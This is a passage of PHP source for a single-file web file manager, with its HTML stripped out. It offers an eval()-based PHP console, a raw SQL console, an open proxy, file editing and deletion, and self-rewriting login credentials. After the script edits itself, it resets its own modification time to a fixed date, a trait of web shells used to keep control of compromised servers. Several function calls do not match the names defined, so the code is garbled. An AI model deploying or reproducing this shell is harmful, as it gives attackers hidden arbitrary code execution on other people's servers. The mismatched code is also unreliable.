$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));
//World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));
return $info;
}
function fm_convert_rights($mode) {
$mode = str_pad($mode,9,'-');
$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
$mode = strtr($mode,$trans);
$newmode = '0';
$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2];
$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5];
$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8];
$newmode .= $owner . $group . $world;
return intval($newmode, 8);
}
function fm_chmod($file, $val, $rec = false) {
$res = @chmod(realpath($file), $val);
if(@is_dir($file) && $rec){
$els = fm_scan_dir($file);
foreach ($els as $el) {
$res = $res && fm_chmod($file . '/' . $el, $val, true);
}
}
return $res;
}
//load files
function fm_download($file_name) {
if (!empty($file_name)) {
if (file_exists($file_name)) {
header("Content-Disposition: attachment; filename=" . basename($file_name));
header("Content-Type: application/force-download");
header("Content-Type: application/octet-stream");
header("Content-Type: application/download");
header("Content-Description: File Transfer");
header("Content-Length: " . filesize($file_name));
flush(); // this doesn't really matter.
$fp = fopen($file_name, "r");
while (!feof($fp)) {
echo fread($fp, 65536);
flush(); // this is essential for large downloads
}
fclose($fp);
die();
} else {
header('HTTP/1.0 404 Not Found', true, 404);
header('Status: 404 Not Found');
die();
}
}
}
//show folder size
function fm_dir_size($f,$format=true) {
if($format) {
$size=fm_dir_size($f,false);
if($size<=1024) return $size.' bytes';
elseif($size<=1024*1024) return round($size/(1024),2).' Kb';
elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).' Mb';
elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).' Gb';
elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).' Tb'; //:)))
else return round($size/(1024*1024*1024*1024*1024),2).' Pb'; // ;-)
} else {
if(is_file($f)) return filesize($f);
$size=0;
$dh=opendir($f);
while(($file=readdir($dh))!==false) {
if($file=='.' || $file=='..') continue;
if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
else $size+=fm_dir_size($f.'/'.$file,false);
}
closedir($dh);
return $size+filesize($f);
}
}
//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
$dir = $ndir = array();
if(!empty($exp)){
$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
}
if(!empty($type) && $type !== 'all'){
$func = 'is_' . $type;
}
if(@is_dir($directory)){
$fh = opendir($directory);
while (false !== ($filename = readdir($fh))) {
if(substr($filename, 0, 1) != '.' || $do_not_filter) {
if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
$dir[] = $filename;
}
}
}
closedir($fh);
natsort($dir);
}
return $dir;
}
function fm_link($get,$link,$name,$title='') {
if (empty($title)) $title=$name.' '.basename($link);
return ' '.$name.' ';
}
function fm_arr_to_option($arr,$n,$sel=''){
foreach($arr as $v){
$b=$v[$n];
$res.=''.$b.' ';
}
return $res;
}
function fm_lang_form ($current='en'){
return '
';
}
function fm_root($dirname){
return ($dirname=='.' OR $dirname=='..');
}
function fm_php($string){
$display_errors=ini_get('display_errors');
ini_set('display_errors', '1');
ob_start();
eval(trim($string));
$text = ob_get_contents();
ob_end_clean();
ini_set('display_errors', $display_errors);
return $text;
}
//SHOW DATABASES
function fm_sql_connect(){
global $fm_config;
return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}
function fm_sql($query){
global $fm_config;
$query=trim($query);
ob_start();
$connection = fm_sql_connect();
if ($connection->connect_error) {
ob_end_clean();
return $connection->connect_error;
}
$connection->set_charset('utf8');
$queried = mysqli_query($connection,$query);
if ($queried===false) {
ob_end_clean();
return mysqli_error($connection);
} else {
if(!empty($queried)){
while($row = mysqli_fetch_assoc($queried)) {
$query_result[]= $row;
}
}
$vdump=empty($query_result)?'':var_export($query_result,true);
ob_end_clean();
$connection->close();
return ''.stripslashes($vdump).' ';
}
}
function fm_backup_tables($tables = '*', $full_backup = true) {
global $path;
$mysqldb = fm_sql_connect();
$delimiter = "; \n \n";
if($tables == '*') {
$tables = array();
$result = $mysqldb->query('SHOW TABLES');
while($row = mysqli_fetch_row($result)) {
$tables[] = $row[0];
}
} else {
$tables = is_array($tables) ? $tables : explode(',',$tables);
}
$return='';
foreach($tables as $table) {
$result = $mysqldb->query('SELECT * FROM '.$table);
$num_fields = mysqli_num_fields($result);
$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
$return.=$row2[1].$delimiter;
if ($full_backup) {
for ($i = 0; $i < $num_fields; $i++) {
while($row = mysqli_fetch_row($result)) {
$return.= 'INSERT INTO `'.$table.'` VALUES(';
for($j=0; $j<$num_fields; $j++) {
$row[$j] = addslashes($row[$j]);
$row[$j] = str_replace("\n","\\n",$row[$j]);
if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
if ($j<($num_fields-1)) { $return.= ','; }
}
$return.= ')'.$delimiter;
}
}
} else {
$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
}
$return.="\n\n\n";
}
//save file
$file=gmdate("Y-m-d_H-i-s",time()).'.sql';
$handle = fopen($file,'w+');
fwrite($handle,$return);
fclose($handle);
$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"';
return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' ' . __('Delete') . ' ';
}
function fm_restore_tables($sqlFileToExecute) {
$mysqldb = fm_sql_connect();
$delimiter = "; \n \n";
// Load and explode the sql file
$f = fopen($sqlFileToExecute,"r+");
$sqlFile = fread($f,filesize($sqlFileToExecute));
$sqlArray = explode($delimiter,$sqlFile);
//Process the sql file by statements
foreach ($sqlArray as $stmt) {
if (strlen($stmt)>3){
$result = $mysqldb->query($stmt);
if (!$result){
$sqlErrorCode = mysqli_errno($mysqldb->connection);
$sqlErrorText = mysqli_error($mysqldb->connection);
$sqlStmt = $stmt;
break;
}
}
}
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.' '.$stmt;
}
function fm_img_link($filename){
return './'.basename(__FILE__).'?img='.base64_encode($filename);
}
function fm_home_style(){
return '
input, input.fm_input {
text-indent: 2px;
}
input, textarea, select, input.fm_input {
color: black;
font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
border-color: black;
background-color: #FCFCFC none !important;
border-radius: 0;
padding: 2px;
}
input.fm_input {
background: #FCFCFC none !important;
cursor: pointer;
}
.home {
background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
background-repeat: no-repeat;
}';
}
function fm_config_checkbox_row($name,$value) {
global $fm_config;
return ''.$name.' ';
}
function fm_protocol() {
if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
return 'http://';
}
function fm_site_url() {
return fm_protocol().$_SERVER['HTTP_HOST'];
}
function fm_url($full=false) {
$host=$full?fm_site_url():'.';
return $host.'/'.basename(__FILE__);
}
function fm_home($full=false){
return ' ';
}
function fm_run_input($lng) {
global $fm_config;
$return = !empty($fm_config['enable_'.$lng.'_console']) ?
'
' : '';
return $return;
}
function fm_url_proxy($matches) {
$link = str_replace('&','&',$matches[2]);
$url = isset($_GET['url'])?$_GET['url']:'';
$parse_url = parse_url($url);
$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
if (substr($link,0,2)=='//') {
$link = substr_replace($link,fm_protocol(),0,2);
} elseif (substr($link,0,1)=='/') {
$link = substr_replace($link,$host,0,1);
} elseif (substr($link,0,2)=='./') {
$link = substr_replace($link,$host,0,2);
} elseif (substr($link,0,4)=='http') {
//alles machen wunderschon
} else {
$link = $host.$link;
}
if ($matches[1]=='href' && !strripos($link, 'css')) {
$base = fm_site_url().'/'.basename(__FILE__);
$baseq = $base.'?proxy=true&url=';
$link = $baseq.urlencode($link);
} elseif (strripos($link, 'css')){
//как-то тоже подменять надо
}
return $matches[1].'="'.$link.'"';
}
function fm_tpl_form($lng_tpl) {
global ${$lng_tpl.'_templates'};
$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
$str = '';
foreach ($tpl_arr as $ktpl=>$vtpl) {
$str .= ' ';
}
return '
'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'
';
}
function find_text_in_files($dir, $mask, $text) {
$results = array();
if ($handle = opendir($dir)) {
while (false !== ($entry = readdir($handle))) {
if ($entry != "." && $entry != "..") {
$path = $dir . "/" . $entry;
if (is_dir($path)) {
$results = array_merge($results, find_text_in_files($path, $mask, $text));
} else {
if (fnmatch($mask, $entry)) {
$contents = file_get_contents($path);
if (strpos($contents, $text) !== false) {
$results[] = str_replace('//', '/', $path);
}
}
}
}
}
closedir($handle);
}
return $results;
}
/* End Functions */
// authorization
if ($auth['authorize']) {
if (isset($_POST['login']) && isset($_POST['password'])){
if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
}
}
if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
echo '
';
die();
}
if (isset($_POST['quit'])) {
unset($_COOKIE[$auth['cookie_name']]);
setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
}
}
// Change config
if (isset($_GET['fm_settings'])) {
if (isset($_GET['fm_config_delete'])) {
unset($_COOKIE['fm_config']);
setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
header('Location: '.fm_url().'?fm_settings=true');
exit(0);
} elseif (isset($_POST['fm_config'])) {
$fm_config = $_POST['fm_config'];
setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
$_COOKIE['fm_config'] = serialize($fm_config);
$msg_ntimes = __('Settings').' '.__('done');
} elseif (isset($_POST['fm_login'])) {
if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
$fm_login = json_encode($_POST['fm_login']);
$fgc = file_get_contents(__FILE__);
$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
if (!empty($matches[1])) {
$filemtime = filemtime(__FILE__);
$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
if (file_put_contents(__FILE__, $replace)) {
$msg_ntimes .= __('File updated');
if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
$auth = $_POST['fm_login'];
}
else $msg_ntimes .= __('Error occurred');
if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
}
} elseif (isset($_POST['tpl_edited'])) {
$lng_tpl = $_POST['tpl_edited'];
if (!empty($_POST[$lng_tpl.'_name'])) {
$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
}
if (!empty($fm_php)) {
$fgc = file_get_contents(__FILE__);
$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
if (!empty($matches[1])) {
$filemtime = filemtime(__FILE__);
$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
if (file_put_contents(__FILE__, $replace)) {
${$lng_tpl.'_templates'} = $fm_php;
$msg_ntimes .= __('File updated');
} else $msg_ntimes .= __('Error occurred');
if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
}
} else $msg_ntimes .= __('Error occurred');
}
}
// Just show image
if (isset($_GET['img'])) {
$file=base64_decode($_GET['img']);
if ($info=getimagesize($file)){
switch ($info[2]){ //1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
case 1: $ext='gif'; break;
case 2: $ext='jpeg'; break;
case 3: $ext='png'; break;
case 6: $ext='bmp'; break;
default: die();
}
header("Content-type: image/$ext");
echo file_get_contents($file);
die();
}
}
// Just download file
if (isset($_GET['download'])) {
$file=base64_decode($_GET['download']);
fm_download($file);
}
// Just show info
if (isset($_GET['phpinfo'])) {
phpinfo();
die();
}
// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
$url = isset($_GET['url'])?urldecode($_GET['url']):'';
$proxy_form = '
';
if ($url) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_REFERER, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
$result = curl_exec($ch);
curl_close($ch);
//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
$result = preg_replace('%()%i', '$1'.''.$proxy_form, $result);
echo $result;
die();
}
}
?>
FileXXXXXXXXXXX
'.__('File manager').' - '.__('Settings').'
'.(empty($msg_ntimes)?'':''.$msg_ntimes.' ').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
SQL server
SQL user
SQL password
SQL DB
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
'.__('Reset settings').'
';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
die($proxy_form);
} elseif (isset($res_lng)) {
?>
'.strtoupper($res_lng).' '.__('Result').''.$fun($res).' ';
}
} elseif (!empty($_REQUEST['edit'])){
if(!empty($_REQUEST['save'])) {
$fn = $path . $_REQUEST['edit'];
$filemtime = filemtime($fn);
if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
else $msg_ntimes .= __('Error occurred');
if ($_GET['edit']==basename(__FILE__)) {
touch(__FILE__,1415116371);
} else {
if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
}
}
$oldcontent = @file_get_contents($path . $_REQUEST['edit']);
$editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
$backlink = $url_inc . '&path=' . $path;
?>
'.') {
if(!empty($_REQUEST['save'])) {
rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
$msg_ntimes .= (__('File updated'));
$_REQUEST['rename'] = $_REQUEST['newname'];
}
clearstatcache();
$link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
$backlink = $url_inc . '&path=' . $path;
?>
'.') {
if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
$msg_ntimes .= __('Error occurred');
} else {
$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
}
} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
$msg_ntimes .= __('Error occurred');
} else {
$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
}
} elseif(!empty($_POST['search_recursive'])) {
ini_set('max_execution_time', '0');
$search_data = find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);
if(!empty($search_data)) {
$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'): ';
foreach ($search_data as $filename) {
$msg_ntimes .= ''.basename($filename).' ';
}
} else {
$msg_ntimes .= __('Nothing founded');
}
} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
$msg_ntimes .= __('Error occurred');
} else {
fclose($fp);
$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
}
} elseif (isset($_GET['zip'])) {
$source = base64_decode($_GET['zip']);
$destination = basename($source).'.zip';
set_time_limit(0);
$phar = new PharData($destination);
$phar->buildFromDirectory($source);
if (is_file($destination))
$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
'. '.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
.' '.__('Delete') . ' ';
else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');
} elseif (isset($_GET['gz'])) {
$source = base64_decode($_GET['gz']);
$archive = $source.'.tar';
$destination = basename($source).'.tar';
if (is_file($archive)) unlink($archive);
if (is_file($archive.'.gz')) unlink($archive.'.gz');
clearstatcache();
set_time_limit(0);
//die();
$phar = new PharData($destination);
$phar->buildFromDirectory($source);
$phar->compress(Phar::GZ,'.tar.gz');
unset($phar);
if (is_file($archive)) {
if (is_file($archive.'.gz')) {
unlink($archive);
$destination .= '.gz';
}
$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
'. '.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
.' '.__('Delete').' ';
} else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');
} elseif (isset($_GET['decompress'])) {
// $source = base64_decode($_GET['decompress']);
// $destination = basename($source);
// $ext = end(explode(".", $destination));
// if ($ext=='zip' OR $ext=='gz') {
// $phar = new PharData($source);
// $phar->decompress();
// $base_file = str_replace('.'.$ext,'',$destination);
// $ext = end(explode(".", $base_file));
// if ($ext=='tar'){
// $phar = new PharData($base_file);
// $phar->extractTo(dir($source));
// }
// }
// $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
} elseif (isset($_GET['gzfile'])) {
$source = base64_decode($_GET['gzfile']);
$archive = $source.'.tar';
$destination = basename($source).'.tar';
if (is_file($archive)) unlink($archive);
if (is_file($archive.'.gz')) unlink($archive.'.gz');
set_time_limit(0);
//echo $destination;
$ext_arr = explode('.',basename($source));
if (isset($ext_arr[1])) {
unset($ext_arr[0]);
$ext=implode('.',$ext_arr);
}
$phar = new PharData($destination);
$phar->addFile($source);
$phar->compress(Phar::GZ,$ext.'.tar.gz');
unset($phar);
if (is_file($archive)) {
if (is_file($archive.'.gz')) {
unlink($archive);
$destination .= '.gz';
}
$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
'. '.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
.' '.__('Delete').' ';
} else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');
}
?>
=__('Filename')?>
=__('Size')?>
=__('Date')?>
=__('Rights')?>
=__('Manage')?>
'.$file.'';
$loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').' zip',__('Archiving').' '. $file);
$arlink = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').' .tar.gz',__('Archiving').' '.$file);
$style = 'row2';
if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; else $alert = '';
} else {
$link =
$fm_config['show_img']&&@getimagesize($filename)
? ' '.$file.' '
: ' '.$file.' ';
$e_arr = explode(".", $file);
$ext = end($e_arr);
$loadlink = fm_link('download',$filename,__('Download'),__('Download').' '. $file);
$arlink = in_array($ext,array('zip','gz','tar'))
? ''
: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').' .tar.gz',__('Archiving').' '. $file));
$style = 'row1';
$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"';
}
$deletelink = fm_root($file) ? '' : '' . __('Delete') . ' ';
$renamelink = fm_root($file) ? '' : '' . __('Rename') . ' ';
$rightstext = ($file=='.' || $file=='..') ? '' : '' . @fm_rights_string($filename) . ' ';
?>
=$link?>
=$filedata[7]?>
=gmdate("Y-m-d H:i:s",$filedata[9])?>
=$rightstext?>
=$deletelink?>
=$renamelink?>
=$loadlink?>
=$arlink?>
Github |
. ';
if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
if (!empty($fm_config['enable_proxy'])) echo ' |
proxy ';
if (!empty($fm_config['show_phpinfo'])) echo ' |
phpinfo ';
if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' |
xls ';
if (!empty($fm_config['fm_settings'])) echo ' |
'.__('Settings').' ';
?>
errors)) $this->errors = array();
}
function createArchive($file_list){
$result = false;
if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false;
else $newArchive = true;
if ($newArchive){
if (!$this->openWrite()) return false;
} else {
if (filesize($this->archive_name) == 0) return $this->openWrite();
if ($this->isGzipped) {
$this->closeTmpFile();
if (!rename($this->archive_name, $this->archive_name.'.tmp')){
$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
return false;
}
$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
if (!$tmpArchive){
$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
rename($this->archive_name.'.tmp', $this->archive_name);
return false;
}
if (!$this->openWrite()){
rename($this->archive_name.'.tmp', $this->archive_name);
return false;
}
$buffer = gzread($tmpArchive, 512);
if (!gzeof($tmpArchive)){
do {
$binaryData = pack('a512', $buffer);
$this->writeBlock($binaryData);
$buffer = gzread($tmpArchive, 512);
}
while (!gzeof($tmpArchive));
}
gzclose($tmpArchive);
unlink($this->archive_name.'.tmp');
} else {
$this->tmp_file = fopen($this->archive_name, 'r+b');
if (!$this->tmp_file) return false;
}
}
if (isset($file_list) && is_array($file_list)) {
if (count($file_list)>0)
$result = $this->packFileArray($file_list);
} else $this->errors[] = __('No file').__(' to ').__('Archive');
if (($result)&&(is_resource($this->tmp_file))){
$binaryData = pack('a512', '');
$this->writeBlock($binaryData);
}
$this->closeTmpFile();
if ($newArchive && !$result){
$this->closeTmpFile();
unlink($this->archive_name);
}
return $result;
}
function restoreArchive($path){
$fileName = $this->archive_name;
if (!$this->isGzipped){
if (file_exists($fileName)){
if ($fp = fopen($fileName, 'rb')){
$data = fread($fp, 2);
fclose($fp);
if ($data == '\37\213'){
$this->isGzipped = true;
}
}
}
elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
}
$result = true;
if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
else $this->tmp_file = fopen($fileName, 'rb');
if (!$this->tmp_file){
$this->errors[] = $fileName.' '.__('is not readable');
return false;
}
$result = $this->unpackFileArray($path);
$this->closeTmpFile();
return $result;
}
function showErrors ($message = '') {
$Errors = $this->errors;
if(count($Errors)>0) {
if (!empty($message)) $message = ' ('.$message.')';
$message = __('Error occurred').$message.': ';
foreach ($Errors as $value)
$message .= $value.' ';
return $message;
} else return '';
}
function packFileArray($file_array){
$result = true;
if (!$this->tmp_file){
$this->errors[] = __('Invalid file descriptor');
return false;
}
if (!is_array($file_array) || count($file_array)<=0)
return true;
for ($i = 0; $iarchive_name)
continue;
if (strlen($filename)<=0)
continue;
if (!file_exists($filename)){
$this->errors[] = __('No file').' '.$filename;
continue;
}
if (!$this->tmp_file){
$this->errors[] = __('Invalid file descriptor');
return false;
}
if (strlen($filename)<=0){
$this->errors[] = __('Filename').' '.__('is incorrect');;
return false;
}
$filename = str_replace('\\', '/', $filename);
$keep_filename = $this->makeGoodPath($filename);
if (is_file($filename)){
if (($file = fopen($filename, 'rb')) == 0){
$this->errors[] = __('Mode ').__('is incorrect');
}
if(($this->file_pos == 0)){
if(!$this->writeHeader($filename, $keep_filename))
return false;
}
while (($buffer = fread($file, 512)) != ''){
$binaryData = pack('a512', $buffer);
$this->writeBlock($binaryData);
}
fclose($file);
} else $this->writeHeader($filename, $keep_filename);
if (@is_dir($filename)){
if (!($handle = opendir($filename))){
$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
continue;
}
while (false !== ($dir = readdir($handle))){
if ($dir!='.' && $dir!='..'){
$file_array_tmp = array();
if ($filename != '.')
$file_array_tmp[] = $filename.'/'.$dir;
else
$file_array_tmp[] = $dir;
$result = $this->packFileArray($file_array_tmp);
}
}
unset($file_array_tmp);
unset($dir);
unset($handle);
}
}
return $result;
}
function unpackFileArray($path){
$path = str_replace('\\', '/', $path);
if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path;
clearstatcache();
while (strlen($binaryData = $this->readBlock()) != 0){
if (!$this->readHeader($binaryData, $header)) return false;
if ($header['filename'] == '') continue;
if ($header['typeflag'] == 'L'){ //reading long header
$filename = '';
$decr = floor($header['size']/512);
for ($i = 0; $i < $decr; $i++){
$content = $this->readBlock();
$filename .= $content;
}
if (($laspiece = $header['size'] % 512) != 0){
$content = $this->readBlock();
$filename .= substr($content, 0, $laspiece);
}
